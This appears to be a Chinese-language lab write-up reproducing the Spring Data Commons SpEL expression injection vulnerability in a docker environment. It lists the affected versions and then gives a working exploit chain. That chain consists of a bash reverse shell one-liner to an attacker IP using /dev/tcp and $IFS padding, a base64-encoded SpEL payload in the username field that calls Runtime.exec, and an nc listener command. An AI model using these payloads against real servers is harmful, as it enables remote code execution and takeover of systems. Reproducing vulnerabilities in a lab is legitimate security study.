漏洞简介:
Spring Data 是一个简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞。
影响版本:
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
漏洞复现:
启动环境:
docker-compose up -d
稍等一会,环境启动后,访问http://your-ip:8080/users
,将可以看到一个用户注册页面。
再请求体放入Payload,在注册的时候抓包,并修改成如下数据包:
转发数据包后,进入容器可见成功创建rcetest.txt
,说明命令执行成功:
现在来反弹shell,这里有个坑点是 Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS
内部域分隔符,对空白处进行填充,不然也是反弹不回来的:
反弹shell
bash$IFS$9-i>&/dev/tcp/192.168.126.194/7777<&1
在base64编码平台进行编码
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3RjcC8xOTIuMTY4LjEyNi4xOTQvNzc3NzwmMSAK}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=
在攻击机开启监听
nc -lvvp 7777
替换paylaod、成功反弹shell: